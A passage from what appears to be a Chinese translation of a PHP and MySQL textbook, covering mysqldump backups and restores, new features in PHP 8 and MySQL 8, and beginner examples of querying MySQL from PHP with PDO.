这确保 MySQL 继续运行以进行读取,但不能进行写入。然后,保持 MySQL 命令行打开状态,使用操作系统命令行发出以下命令:

mysqldump -u *user* -p*password* publications classics > classics.sql

现在,您必须从 MySQL 命令行内释放表锁,通过在第一个终端窗口中输入以下命令,解锁在当前会话期间已锁定的所有表:

UNLOCK TABLES;

备份所有表

如果要一次备份所有 MySQL 数据库(包括系统数据库如mysql),可以使用类似示例 9-9 中的命令,这样可以恢复整个 MySQL 数据库安装。记得在需要时使用锁定。

示例 9-9. 将所有 MySQL 数据库转储到文件
mysqldump -u *user* -p*password* --all-databases > all_databases.sql
注意

当然,备份的数据库文件中不仅仅是几行 SQL 代码。建议您花几分钟时间查看一些文件,以熟悉备份文件中出现的命令类型及其工作原理。

从备份文件恢复

要从文件执行恢复,请调用mysql可执行文件,并使用<符号指定要从中恢复的文件。因此,要恢复使用--all-databases选项转储的整个数据库,可以使用类似示例 9-10 中的命令。

示例 9-10. 恢复整个数据库集
mysql -u *user* -p*password* < all_databases.sql

要恢复单个数据库,请使用-D选项,后跟数据库名称,如示例 9-11,其中publications数据库正在从示例 9-8 生成的备份中恢复。

示例 9-11. 恢复 publications 数据库
mysql -u *user* -p*password* -D publications < publications.sql

要将单个表恢复到数据库,请使用类似示例 9-12 中的命令,这里只恢复publications数据库中的classics表。

示例 9-12. 将 classics 表恢复到 publications 数据库
mysql -u *user* -p*password* -D publications < classics.sql

以 CSV 格式转储数据

如前所述,mysqldump程序非常灵活,支持各种输出格式,例如 CSV 格式,您可以将其用于将数据导入电子表格等其他用途。示例 9-13 展示了如何将publications数据库中的classicscustomers表数据导出到c:/temp文件夹下的classics.txtcustomers.txt文件中。在 macOS 或 Linux 系统上,您应修改目标路径为一个已存在的文件夹。

示例 9-13. 将数据转储到 CSV 格式文件
mysqldump -u *user* -p*password* --no-create-info --tab=c:/temp
  --fields-terminated-by=',' publications

此命令非常长,在这里显示为两行,但您必须将其作为单行输入。结果如下:

Mark Twain (Samuel Langhorne Clemens)','The Adventures of Tom Sawyer',
 'Classic Fiction','1876','9781598184891
Jane Austen','Pride and Prejudice','Classic Fiction','1811','9780582506206
Charles Darwin','The Origin of Species','Nonfiction','1856','9780517123201
Charles Dickens','The Old Curiosity Shop','Classic Fiction','1841','9780099533474
William Shakespeare','Romeo and Juliet','Play','1594','9780192814968

Mary Smith','9780582506206
Jack Wilson','9780517123201

计划您的备份

备份的黄金法则是在您认为合适的频率进行备份。数据越有价值,您就越应该频繁备份,并制作更多的副本。如果您的数据库每天至少更新一次,您应该真的每天备份一次。另一方面,如果更新频率不高,您可能可以更少地备份。

注意

您应考虑制作多份备份并将它们存储在不同的位置。如果您有多台服务器,将备份在它们之间复制将变得非常简单。您还应该考虑在可移动硬盘、闪存驱动器、CD 或 DVD 等物理介质上进行备份,并将其保管在不同的地方——最好是像防火保险柜之类的地方。

定期测试数据库的还原也很重要,以确保您的备份操作正确无误。您还需要熟悉数据库的还原操作,因为在压力和匆忙情况下,例如网站遭遇停电后,可能需要进行数据库的还原操作。您可以将数据库还原到私有服务器并运行一些 SQL 命令,以确保数据符合您的预期。

一旦您消化了本章的内容,您将能够熟练使用 PHP 和 MySQL;下一章概述了最新 PHP/MySQL 版本的变化。

问题

  1. 在关系数据库中,“关系”一词的含义是什么?

  2. 删除重复数据和优化表的过程术语是什么?

  3. 第一范式有哪三条规则?

  4. 如何使表满足第二范式?

  5. 在一个包含一对多关系项的两个表中,您会在列中放置什么以将它们联系在一起?

  6. 如何创建具有多对多关系的数据库?

  7. 什么命令启动和结束 MySQL 事务?

  8. MySQL 提供了哪个功能,使您能够详细查看查询的工作方式?

  9. 您会使用什么命令将publications数据库备份到名为publications.sql的文件中?

参见“第九章答案”,在附录 A 中查看这些问题的答案。

第十章:PHP 8 和 MySQL 8 的新特性

到 21 世纪第二个十年结束时,PHP 和 MySQL 都已经成熟到了它们的第八个版本,并且按照软件技术标准可以被认为是高度成熟的产品。

根据w3techs.com网站的说法,到 2021 年初,PHP 在各种网站中以某种方式被使用,超过了 79%,远远超过最接近的竞争对手 ASP.NET 的 70%。explore-group.com 报告称,2019 年 MySQL 仍然是网页上使用最广泛的数据库,安装在 52%的网站上。尽管 MySQL 的市场份额在近年来有所下降,但它仍然比最接近的竞争对手 PostgreSQL 多 16%,后者在 36%的网站上使用。似乎这种情况在可预见的未来将继续存在,特别是由于几乎相同的 MariaDB 也在市场中占有一定比例。

随着这两种技术的最新 8 版本,以及 JavaScript,这些现代 Web 开发的支柱看起来将在未来多年内继续保持重要性。因此,让我们来看看最新版本的 PHP 和 MySQL 中有什么新功能。

关于本章

本书版本准备时,这两种技术的最新版本已经发布,因此本章更多地是一个总结或更新。它不仅包含对初学者和中级 PHP 和 MySQL 开发人员有用的信息,还利用机会详细介绍了这两种技术中所做的一些更高级的改进。

如果以下任何内容是您在本书或其他地方尚未涉及的话题,请不要担心;您还不需要(甚至不需要)在您的开发工具包中使用它。但对于那些您以前见过的,您将理解新增或更改的内容,并有一些如何利用它的提示。

本书的未来版本将在教程的主体中包含对新开发者最有用的部分。

PHP 8

PHP 8 的第 8 版标志着一个重大更新和一个重要的里程碑,为以下内容带来了许多新功能:类型,系统,语法错误处理,字符串,面向对象编程等等。

新功能使得 PHP 比以往更加强大和易于使用,同时最大限度地减少可能会破坏或修改现有安装的更改。

例如,命名参数,即时(JIT)编译,属性和构造函数属性带来了重大的改进和语法变化,改进的错误处理,以及操作符的变化和改进,以帮助减少忽视错误的机会。

PHP8 和 AMPPS 堆栈

在撰写本文时,建议您在第二章中安装的 AMPPS 堆栈版本包含 MySQL 8.0.18,但其 PHP 版本仍为 7.3.11。在本书出版过程中,预计 AMPPS 堆栈将包含 PHP 8 的版本,并建议您让 AMPPS 为您处理安装,特别是如果您是初学者。但如果 AMPPS 尚未提供 PHP 8,而您希望立即开始使用 PHP 8,您可以直接从php.net网站下载更新版本,并按照提供的说明安装和使用它。

命名参数

除了传统的位置参数外,在函数调用中还可以使用命名参数,就像这样:

str_contains(needle: 'ian', haystack: 'Antidisestablishmentarianism');

这使得函数(或方法)参数名成为公共 API 的一部分,并允许您根据它们的参数名而不是参数顺序将输入数据传递到函数中,大大提高了代码清晰度。因此,由于参数是按名称传递的,它们的顺序不再重要,这应该会减少难以找到的错误。顺便说一句,str_contains(稍后解释)也是 PHP 8 的新功能。

属性

在 PHP 8 中,属性(如属性和变量)映射到 PHP 类名,允许在类、方法和变量中包含元数据。以前,您必须使用 DocBloc 注释来推断它们。

属性是一种将一个系统或程序的细节提供给另一个系统(如插件或事件系统)的方法,是简单的带有#[Attribute]注释的类,可以附加到类、属性、方法、函数、类常量或函数/方法参数上。

在运行时,属性不起任何作用,对代码没有影响。但是,它们可以通过反射 API 使用,允许其他代码检查属性并采取额外的操作。

您可以在PHP.net 概述中找到有关属性(有些超出本书范围)的很好解释。

只要它们在一行上,属性在较旧的 PHP 版本中被解释为注释,因此安全地被忽略。

构造函数属性

使用 PHP 8,您现在可以直接从类构造函数中声明类属性,从而节省大量重复代码。例如,看看这段代码:

class newRecord
{
`    public` `string` `$username``;`
`    public` `string` `$email``;`

     public function __construct(
        string $username,
        string $email,
    ) {
        $this->username = $username;
        $this->email    = $email;
    }
}

使用构造函数属性,您现在可以将所有这些减少到以下内容:

class newRecord
{
     public function __construct(
`        public` `string` `$username``,`
`        public` `string` `$email``,`
    ){}
}

这是一个不兼容的特性,所以只有在确保已安装 PHP 8 的情况下才使用它。

即时编译

启用时,即时(JIT)编译并缓存本机指令(而不是所谓的 OPcache,它保存文件解析时间),以提供性能提升给 CPU 密集型应用程序。

您可以像这样在php.ini文件中启用 JIT:

opcache.enable          = 1
opcache.jit_buffer_size = 100M
opcache.jit             = tracing

请记住,JIT 对 PHP 来说是相对较新的,它目前使得调试和性能分析更加困难。此外,在初始发布前的一天,JIT 还存在问题,因此要注意可能在系统中存在一些未发现的 bug,在此期间最好禁用 JIT 编译,并且在调试时应该保持禁用。

联合类型

在 PHP 8 中,类型声明可以扩展为联合类型,以声明多个类型(也支持false作为布尔值false的特殊类型),例如:

function parse_value(`string``|``int``|``float`): string|null {}

空安全操作符

在以下内容中,?-> 空安全操作符会在遇到null值时立即返回null,而不会导致错误,并且会短路后续的代码块:

return $user->getAddress()?->getCountry()?->isoCode;

以前,你可能需要对每个部分使用多个连续的isset()调用进行测试,以检查它们是否为null值。

match 表达式

match表达式类似于switch语句块,但提供了类型安全的比较,支持返回值,不需要break语句跳出,同时支持多个匹配值。因此,这个相对繁琐的switch块:

`switch` ($country)
{
  case "UK":
  case "USA":
  case "Australia":
  default:
      $lang = "English";
      break;
  case "Spain":
      $lang = "Spanish";
      break;
  case "Germany":
  case "Austria":
      $lang = "German";
      break;
}

可以用以下简单得多的match表达式来替代:

$lang = `match`($country)
{
  "UK", "USA", "Australia", default => "English",
  "Spain"                           => "Spanish",
  "Germany", "Austria"              => "German",
};

关于类型安全比较,switch语句对以下代码会感到困惑,因为它将'0e0'视为零的指数值,并输出'null',而实际上应该输出'a'。然而,match不会出现这个问题。

$a = '0e0';

switch ($a)
{
  case    0 : echo 'null'; break;
  case '0e0': echo 'a';    break;
}

新函数

PHP 8 提供了许多新函数,提供了更多功能和语言改进,涵盖字符串处理、调试和错误处理等领域。

str_contains

str函数将返回一个字符串是否包含在另一个字符串中。它比strpos函数更好,因为strpos返回一个字符串在另一个字符串中的位置,如果未找到则返回false。但是存在一个潜在的问题,如果字符串在位置零被找到并且返回值为 0,则使用==进行比较时会被解释为false,除非使用严格比较运算符(===)。

因此,使用strpos时,你需要编写以下不太清晰的代码:

if (`strpos`('Once upon a time', 'Once') !== false)
  echo 'Found';

而使用str_contains的代码如下所示,在快速扫描(和编写)代码时更加清晰,不太可能导致隐蔽的 bug:

if (`str_contains`('Once upon a time', 'Once'))
  echo 'Found';

str_contains函数是区分大小写的,所以如果需要进行不区分大小写的检查,应该先将$needle$haystack都通过函数转换为小写,例如strtolower,像这样:

if (str_contains(`strtolower`('Once upon a time'),
                 `strtolower`('`o`nce')))
  echo 'Found';

如果您希望使用str_contains并确保您的代码与旧版本的 PHP 兼容,您可以使用兼容性解决方案(提供您的代码期望的功能的代码),创建自己的str_contains函数版本(如果尚不存在)。

帮助使用兼容性解决方案

而不是编写自己的兼容性解决方案,可能会无意中引入错误或与其他人的兼容性解决方案不兼容,您可以使用在GitHub上免费提供的 PHP 8 Symfony 兼容性解决方案包。

在以下 PHP 7+的兼容性解决方案函数中,对于$needle为空字符串的检查是必需的,因为 PHP 8 认为空字符串存在于每个字符串的每个位置(甚至包括在空字符串中),因此此行为必须与替换函数匹配:

if (!function_exists('str_contains'))
{
  function str_contains(string $haystack, string $needle): bool
  {
    return $needle === '' || strpos($haystack, $needle) !== false;
  }
}

str_starts_with

str_starts_with函数提供了一种更清晰的方法来检查一个字符串是否以另一个字符串开头。以前,您可能会使用strpos函数并检查它是否返回零值,但是由于我们已经看到在某些情况下 0 和false可能会混淆,str_starts_with显著减少了这种可能性。您可以像这样使用它:

if (`str_starts_with`('In the beginning', 'In'))
  echo 'Found';

就像str_contains一样,测试是区分大小写的,因此在两个字符串上使用类似strtolower的函数执行不区分大小写的测试。PHP 7+的此函数的兼容性解决方案可能如下所示:

if (!function_exists('str_starts_with'))
{
  function str_starts_with(string $haystack, string $needle): bool
  {
    return $needle === '' || strpos($haystack, $needle) === 0;
  }
}

由于 PHP 8 认为空字符串存在于字符串的每个位置,因此如果$needle为空字符串,此兼容性解决方案始终返回true

str_ends_with

此函数提供了一种更清晰和更简单的方法来检查一个字符串是否以另一个字符串结尾。以前,您可能会使用substr函数,并传递$needle的负长度,但是str_ends_with使得这个任务变得简单得多。您可以像这样使用它:

if (`str_ends_with`('In the end', 'end'))
  echo 'Found';

就像其他新字符串函数一样,测试是区分大小写的,因此在两个字符串上使用类似strtolower的函数执行不区分大小写的测试。PHP 7+的此函数的兼容性解决方案可能如下所示:

if (!function_exists('str_ends_with'))
{
  function str_ends_with(string $haystack, string $needle): bool
  {
    return $needle === '' ||
           $needle === substr($haystack, `-`strlen($needle));
  }
}

如果传递给substr的第二个参数为负数(如本例),则从其末尾向后工作匹配该数字的字符数。同样,如果$needle是空字符串,则此兼容性解决方案始终返回true。还要注意使用===严格比较运算符确保在两个字符串之间进行精确比较。

fdiv

新的fdiv函数类似于现有的fmod(在除法后返回浮点余数)和intdiv(返回除法的整数商)函数,但允许除以 0 而不发出除以零错误,而是返回其中之一的值:INF-INFNAN,具体取决于情况。

例如,intdiv(1, 0) 将会发出除零错误,1 % 0 或者简单地 1 / 0 也一样。但是你可以安全地使用 fdiv(1, 0),结果将是一个带有值 INF 的浮点数,而 fdiv(-1, 0) 返回 -INF

这是一个 PHP 7+ 的兼容解决方案,您可以使用它使您的代码向后兼容:

if (!function_exists('fdiv'))
{
  function fdiv(float $dividend, float $divisor): float
  {
    return @($dividend / $divisor);
  }
}

get_resource_id

PHP 8 添加了新的 get_resource_id 函数,类似于将 (int) $resource 转换以更轻松地获取资源 ID,但是返回类型被检查为资源,返回值为整数,因此它们是类型安全的。

get_debug_type

get_debug_type 函数提供的值比现有的 gettype 函数更一致,并且最适合用于在异常消息或日志中获取意外变量的详细信息,因为它更冗长并提供额外信息。有关更多信息,请参阅Wiki

preg_last_error_msg

PHP 的 preg_ 函数不会抛出异常,因此如果有错误,你必须使用 preg_last_error 来获取错误代码。但是如果你想要一个友好的错误消息而不仅仅是一个未解释的代码,在 PHP 8 中现在可以调用 preg_last_error_msg。如果没有错误,则返回“没有错误”。

由于本书面向初学者到中级水平,我只是真正触及了 PHP 8 中所有伟大新功能的皮毛,让您品尝可以立即开始使用的主要功能。然而,如果您渴望学习关于这个里程碑更新的所有内容,您可以在官方网页上获取完整详情。

MySQL 8

MySQL 8 首次发布于 2018 年,在本书之前的版本中无法覆盖更新中包含的功能。因此,现在,随着最新更新(至 8.0.22)在 2020 年底的发布,是一个很好的机会,了解 MySQL 8 相比早期版本提供的所有功能,如更好的 Unicode 支持、更好的 JSON 和文档处理、地理支持以及窗口函数。

在此摘要中,您将获得最新版本 8 中已经改进、升级或添加的八个领域的概述。

注意

MySQL 8 是版本 5.7 的继任者,因为版本 6 从未真正被开发社区接受,而当 Sun Microsystems 收购 MySQL 时,版本 6 的开发被中止。更重要的是,在版本 8 之前,最大的变化是从 5.6 到 5.7,因此根据 Sun 的说法,“由于我们在这个 MySQL 版本中引入了许多新的重要功能,我们决定启动一个全新的系列。由于 MySQL 之前实际上已经使用了系列号 6 和 7,所以我们选择了 8.0。”

SQL 更新

MySQL 8 现在引入了窗口函数(也称为分析函数)。它们类似于分组聚合函数,将行集的计算折叠为单行。然而,窗口或分析函数对结果集中的每一行执行聚合操作,是非聚合的。因为它们不是 MySQL 使用的核心部分,并且应被视为高级扩展,所以本书不涵盖它们。

新函数包括RANKDENSE_RANKPERCENT_RANKCUME_DISTNTILEROW_NUMBERFIRST_VALUELAST_VALUENTH_VALUE,如果需要了解更多信息,可以在 MySQL 的官方网站上找到完整文档。

MySQL 8 还引入了递归通用表达式(CTE)、增强的 SQL 锁定子句中的NOWAITSKIP LOCKED的替代方法、降序索引、GROUPING函数和优化器提示。

所有这些以及更多内容可以在MySQL 网站上查看。

JSON(JavaScript 对象表示法)

有多个新函数用于处理 JSON,同时 JSON 值的排序和分组已得到改进。此外,路径表达式中的范围扩展语法和排序改进,还有新的表、聚合、合并和其他函数。

鉴于 MySQL 的这些改进和 JSON 的使用,可以认为 MySQL 现在可以用来替代 NoSQL 数据库。

使用 JSON 在 MySQL 中的使用超出了本书的范围,但如果这是你感兴趣的领域,你可以参考所有新特性的官方文档

地理信息支持

MySQL 8 还引入了 GIS(地理信息系统)支持,包括对 SRS(空间参考系统)的元数据支持、SRS 数据类型、索引和函数。这意味着 MySQL 现在可以(例如)使用任何支持的空间参考系统中的纬度和经度坐标计算地球表面上两点之间的距离。

若要详细了解如何访问 MySQL GIS,可以参考官方网站

可靠性

MySQL 已经非常可靠,但在版本 8 中进一步改进,通过将其元数据存储在 InnoDB 事务存储引擎中,使得用户权限字典表现在都位于InnoDB中。

在 MySQL 8 中,现在只有一个数据字典,而在 5.7 版本及更早版本中有两个数据字典(一个用于服务器,一个用于InnoDB层),这可能导致不同步问题。

从版本 8 开始,用户可以确保任何 DDL 语句(如CREATE TABLE)要么完全执行,要么完全不执行,以防止主副本服务器可能出现不同步的情况。

速度和性能

在 MySQL 中,通过在InnoDB中将表存储为简单视图的数据字典表上,信息模式的速度提高了多达 100 倍。此外,对性能模式表添加了超过 100 个索引,进一步提高了性能,读写速度更快,适用于 I/O 密集型工作负载和高竞争工作负载,此外,现在可以将用户线程映射到 CPU 以进一步优化性能。

MySQL 8 在处理大量写入工作负载时,与版本 5.7 相比,性能提升了多达四倍,并对读写工作负载提供了更显著的增长。

使用 MySQL,您可以充分利用每个存储设备的能力,提高在高竞争工作负载下的性能(事务排队等待锁的情况)。

总的来说,MySQL 8 的开发人员称其速度提高了最多两倍,您可以在官方网站了解他们的理由和如何在应用程序中实现这一性能增加的技巧。

管理

使用 MySQL 8,您现在可以在可见和不可见之间切换索引。不可见索引在创建查询计划时不被优化器考虑,但仍在后台维护,因此很容易使其再次可见,让您决定是否可以删除索引。

此外,现在用户完全控制 Undo 表空间,并且现在可以持久保存在服务器重启时会丢失的全局动态服务器变量。另外还有一个 SQL RESTART命令,允许通过 SQL 连接远程管理 MySQL 服务器,并提供了一个改进的RENAME COLUMN命令,以取代先前的ALTER TABLE...CHANGE语法。

更多详细信息,请参阅官方网站

安全

安全性在计划第 8 版时绝对没有被忽视,因为有许多新的改进。

首先,从mysql_native_password更改为caching_sha2_password作为默认认证插件,并且在企业版和现在的社区版中选择了 OpenSSL 作为默认的 TLS/SSL 库,并且是动态链接的。

使用 MySQL 8,现在 Undo 和 Redo 日志已加密,实现了 SQL 角色,您可以向用户授予角色和角色的权限。在创建新用户时还可以使用强制角色。现在有一个安全存储的密码历史的全局或用户级密码轮换策略。

在认证过程中,根据连续失败的登录尝试,MySQL 8 增加了延迟,以减缓暴力攻击尝试。延迟触发和最大延迟长度是可配置的。

有关 MySQL 和安全性的更多信息,请访问官方网站

问题

  1. 当声明类属性时,PHP 8 现在允许您做什么?

  2. 什么是空安全操作符,它有什么作用?

  3. 如何在 PHP 8 中使用match表达式,并且它为什么比替代方法更好?

  4. PHP 8 中现在可以使用什么简单易用的新函数来确定一个字符串是否存在于另一个字符串中?

  5. 在 PHP 8 中,如何进行浮点数除法计算,而不会导致除以零错误?

  6. 什么是 polyfill?

  7. PHP 8 中,查看由preg_函数调用生成的最新错误的简单新方法是什么?

  8. MySQL 8 默认使用什么作为其事务性存储引擎?

  9. 在 MySQL 8 中,你可以使用什么命令来代替ALTER TABLE...CHANGE TABLE来修改列名?

  10. MySQL 8 中默认的认证插件是什么?

参见 “第十章答案”,在 附录 A 中找到这些问题的答案。

第十一章:使用 PHP 访问 MySQL

如果你已经完成了前面的章节,那么你应该已经熟练掌握了使用 MySQL 和 PHP。在本章中,你将学习如何通过使用 PHP 的内置函数来集成这两者,以访问 MySQL。

使用 PHP 查询 MySQL 数据库。

使用 PHP 作为 MySQL 接口的原因是将 SQL 查询的结果格式化为在网页上可见的形式。只要你能使用用户名和密码登录到你的 MySQL 安装中,你也可以从 PHP 中进行这样的操作。

然而,与其使用 MySQL 的命令行来输入指令和查看输出,你可以创建传递给 MySQL 的查询字符串。当 MySQL 返回其响应时,它将以 PHP 可以识别的数据结构形式返回,而不是你在命令行工作时看到的格式化输出。进一步的 PHP 命令可以检索数据并为网页格式化它。

过程

使用 PHP 与 MySQL 的过程如下:

  1. 连接到 MySQL 并选择要使用的数据库。

  2. 准备一个查询字符串。

  3. 执行查询。

  4. 检索结果并将其输出到网页。

  5. 重复步骤 2 至 4,直到检索到所有所需数据。

  6. 与 MySQL 断开连接。

我们将依次完成这些步骤,但首先重要的是以安全的方式设置好你的登录细节,这样在你的系统上窥探的人们就很难访问你的数据库。

创建一个登录文件

大多数使用 PHP 开发的网站包含多个程序文件,这些文件将需要访问 MySQL,并因此需要登录和密码细节。因此,创建一个单独的文件来存储这些信息,并在需要的地方包含该文件是明智的。示例 11-1 展示了这样一个文件,我称之为login.php

示例 11-1. login.php 文件
<?php // login.php   $host = '`localhost`';    // `Change as necessary`
  $data = '`publications`'; // `Change as necessary`
  $user = '`root`';         // `Change as necessary`
  $pass = '`mysql`';        // `Change as necessary`
  $chrs = 'utf8mb4';
  $attr = "mysql:host=$host;dbname=$data;charset=$chrs";
  $opts =
  [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
  ];
?>

键入示例,将用户名root和密码mysql替换为你在 MySQL 数据库中使用的值(如果需要,还要替换主机和数据库名称),并将其保存到你在第二章中设置的文档根目录中。我们很快将使用这个文件。

主机名localhost应该能正常工作,只要你在本地系统上使用 MySQL 数据库,并且数据库publications应该能正常工作,如果你一直使用的是我使用过的示例。

封闭的<?php?>标签对于示例 11-1 中的login.php文件尤为重要,因为它们意味着只有在 PHP 代码中间的行才能被解释。如果你省略它们,并且有人从你的网站直接调用这个文件,它将显示为文本并暴露你的秘密。但是,如果标签放置正确,所有人将只会看到一个空白页面。文件将正确包含你的其他 PHP 文件。

注意

在本书的早期版本中,我们使用了直接访问 MySQL,这完全不安全,后来改用了 mysqli,这要安全得多。但是,俗话说时间在前进,现在有了从 PHP 访问 MySQL 数据库的最安全和最简便的方法,称为 PDO,在本书的这一版本中我们默认使用它作为 PHP 中访问数据库的轻量级和一致的接口。PDO 代表 PHP 数据对象,是一个使用统一 API 的数据访问层。实现 PDO 接口的每个数据库驱动程序都可以将特定于数据库的特性公开为常规扩展函数。

$host 变量将告诉 PHP 连接到数据库时要使用哪台计算机。这是必需的,因为您可以访问与您的 PHP 安装连接的任何计算机上的 MySQL 数据库,这可能包括任何连接到网络的主机。然而,本章中的示例将在本地服务器上运行。因此,不需要指定域名,如 mysql.myserver.com,您可以直接使用单词 localhost(或 IP 地址 127.0.0.1)。

我们将使用的数据库 $data 是我们在 第八章 中创建的名为 publications 的数据库(如果您使用的是服务器管理员提供的其他数据库,则必须相应修改 login.php)。

$chrs 表示字符集,在本例中我们使用 utf8mb4,而 $attr$opts 包含访问数据库所需的附加选项。

注意

将这些登录详细信息保存在一个地方的另一个好处是,您可以随意更改密码,并且每当您更改时只需更新一个文件,无论有多少个 PHP 文件访问 MySQL。

连接到 MySQL 数据库

现在您已经保存了 login.php 文件,可以通过使用 require_once 语句将其包含到需要访问数据库的任何 PHP 文件中。这比使用 include 语句更可取,因为如果找不到包含登录数据库详细信息的文件,它将生成致命错误,相信我,找不到这个文件是致命错误。

此外,使用 require_once 而不是 require 意味着只有在之前未包含时才会读取文件,这可以防止多余的重复磁盘访问。示例 11-2 显示了使用的代码。

示例 11-2. 使用 PDO 连接到 MySQL 服务器
<?php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }
?>

此示例通过调用 PDO 方法的新实例来创建一个名为 $pdo 的新对象,并传递从 login.php 文件检索到的所有值。我们通过使用 try...catch 命令对错误进行检查。

PDO 对象在以下示例中用于访问 MySQL 数据库。

注意

永远不要试图输出从 MySQL 接收到的任何错误消息的内容。与其帮助用户,你可能会向黑客泄露敏感信息,如登录详细信息。相反,根据错误消息向你的代码报告的信息指导用户克服困难。

构建和执行查询

从 PHP 向 MySQL 发送查询就像在连接对象的query方法中包含相关 SQL 一样简单。示例 11-3 展示了如何做到这一点。

示例 11-3. 使用 PDO 查询数据库
<?php
  $query  = "SELECT * FROM classics";
  $result = $pdo->query($query);
?>

正如你所见,从 PHP 向 MySQL 发送查询与在命令行直接输入的内容几乎一样,唯一的区别是在访问 MySQL 时不需要尾随分号。

在这里,变量$query被赋予一个包含要执行的查询的字符串,然后传递给$pdo对象的query方法,该方法返回一个结果,我们将其放入$result对象中。

所有由 MySQL 返回的数据现在以易于查询的格式存储在$result对象中。

获取结果

一旦你在$result中得到一个对象返回,你可以使用它逐个提取你想要的数据项,使用对象的fetch方法。示例 11-4 将之前的示例结合并扩展为一个程序,你可以自己运行以检索结果(如图 11-1 所示)。输入此脚本并使用文件名 query.php 保存它,或者从示例仓库下载它。

示例 11-4. 逐行提取结果
<?php // query.php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "SELECT * FROM classics";
  $result = $pdo->query($query);

  while ($row = $result->fetch())
  {
    echo 'Author:   ' . htmlspecialchars($row['author'])   . "<br>";
    echo 'Title:    ' . htmlspecialchars($row['title'])    . "<br>";
    echo 'Category: ' . htmlspecialchars($row['category']) . "<br>";
    echo 'Year:     ' . htmlspecialchars($row['year'])     . "<br>";
    echo 'ISBN:     ' . htmlspecialchars($row['isbn'])     . "<br><br>";
  }
?>

示例 10-5 中 query-mysqli.php 程序的输出

图 11-1. 来自 query.php 的输出

在这里,每次循环时,我们调用$pdo对象的fetch方法来检索存储在每行中的值,并使用echo语句输出结果。如果你看到结果顺序不同,不要担心。这是因为我们没有使用ORDER BY命令指定应返回的顺序,所以顺序是未指定的。

当在浏览器中显示数据时,其源可能是(或可能是)用户输入时,总会存在嵌入其中的阴险 HTML 字符的风险,即使你认为它已经经过了先前的清理。这些字符可能会被用于跨站点脚本(XSS)攻击。防止这种可能性的简单方法是将所有此类输出嵌入到htmlspecialchars函数的调用中,该函数将所有这些字符替换为无害的 HTML 实体。这种技术已在前面的示例中实施,并将在许多后续示例中使用。

在 第九章 中,我讨论了第一、第二和第三范式。您可能已经注意到 classics 表不符合这些范式,因为作者和书籍详情都包含在同一个表中。这是因为我们在遇到规范化之前创建了这个表。但是,为了说明从 PHP 访问 MySQL 的目的,重新使用此表可以避免输入新的测试数据,因此我们暂时保留它。

在指定样式的情况下获取一行

fetch 方法可以以各种风格返回数据,包括以下方式:

PDO::FETCH_ASSOC

返回下一行作为一个由列名作为索引的数组

PDO::FETCH_BOTH (默认)

返回下一行作为一个既由列名又由列号索引的数组

PDO::FETCH_LAZY

返回下一行作为一个匿名对象,其中属性名作为属性

PDO::FETCH_OBJ

返回下一行作为一个匿名对象,其中列名作为属性

PDO::FETCH_NUM

返回一个由列号索引的数组

如需查看 PDO 提取样式的完整列表,请参考 在线参考

因此,下面(稍作更改)的示例(在 示例 11-5 中显示)更清楚地显示了在这种情况下 fetch 方法的意图。您可能希望使用名称 fetchrow.php 保存此修订文件。

示例 11-5. 逐行获取结果
<?php //fetchrow.php   require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  $query  = "SELECT * FROM classics";
  $result = $pdo->query($query);

  while ($row = $result->fetch(`PDO``::``FETCH_BOTH`)) // Style of fetch   {
    echo 'Author:   ' . htmlspecialchars($row['author'])   . "<br>";
    echo 'Title:    ' . htmlspecialchars($row['title'])    . "<br>";
    echo 'Category: ' . htmlspecialchars($row['category']) . "<br>";
    echo 'Year:     ' . htmlspecialchars($row['year'])     . "<br>";
    echo 'ISBN:     ' . htmlspecialchars($row['isbn'])     . "<br><br>";
  }
?>

在这个修改后的代码中,仅对 $result 对象进行了五分之一的询问(与前一个示例相比),并且每次迭代循环中仅进行一次对象搜索,因为每行数据都通过 fetch 方法完整地返回为一个数组,然后分配给数组 $row

此脚本使用关联数组。关联数组通常比数值数组更有用,因为您可以通过名称引用每列,如 $row['author'],而不是试图记住其在列顺序中的位置。

关闭连接

PHP 在脚本结束后会释放为对象分配的内存,因此在小型脚本中通常不需要担心释放内存。然而,如果您希望手动关闭 PDO 连接,只需将其设置为 null 即可:

$pdo = null;

实际示例

现在是时候编写我们的第一个示例,使用 PHP 向 MySQL 表中插入数据并从中删除。建议您输入 示例 11-6 并将其保存到您的 Web 开发目录中,文件名为 sqltest.php。您可以在 图 11-2 中看到该程序输出的示例。

注意

示例 11-6 创建了一个标准的 HTML 表单。 第十二章 详细解释了表单,但在本章中,我默认处理表单处理并只处理数据库交互。

示例 11-6. 使用 sqltest.php 进行插入和删除
<?php // sqltest.php
  require_once 'login.php';

  try
  {
    $pdo = new PDO($attr, $user, $pass, $opts);
  }
  catch (PDOException $e)
  {
    throw new PDOException($e->getMessage(), (int)$e->getCode());
  }

  if (isset($_POST['delete']) && isset($_POST['isbn']))
  {
    $isbn   = get_post($pdo, 'isbn');
    $query  = "DELETE FROM classics WHERE isbn=$isbn";
    $result = $pdo->query($query);
  }

  if (isset($_POST['author'])   &&
      isset($_POST['title'])    &&
      isset($_POST['category']) &&
      isset($_POST['year'])     &&
      isset($_POST['isbn']))
  {
    $author   = get_post($pdo, 'author');
    $title    = get_post($pdo, 'title');
    $category = get_post($pdo, 'category');
    $year     = get_post($pdo, 'year');
    $isbn     = get_post($pdo, 'isbn');

    $query    = "INSERT INTO classics VALUES" .
      "($author, $title, $category, $year, $isbn)";
    $result = $pdo->query($query);
  }

  echo <<<_END
  <form action="sqltest.php" method="post"><pre>
    Author <input type="text" name="author">
     Title <input type="text" name="title">
  Category <input type="text" name="category">
      Year <input type="text" name="year">
      ISBN <input type="text" name="isbn">
           <input type="submit" value="ADD RECORD">
  </pre></form>
_END;

  $query  = "SELECT * FROM classics";
  $result = $pdo->query($query);

  while ($row = $result->fetch())
  {
    $r0 = htmlspecialchars($row['author']);
    $r1 = htmlspecialchars($row['title']);
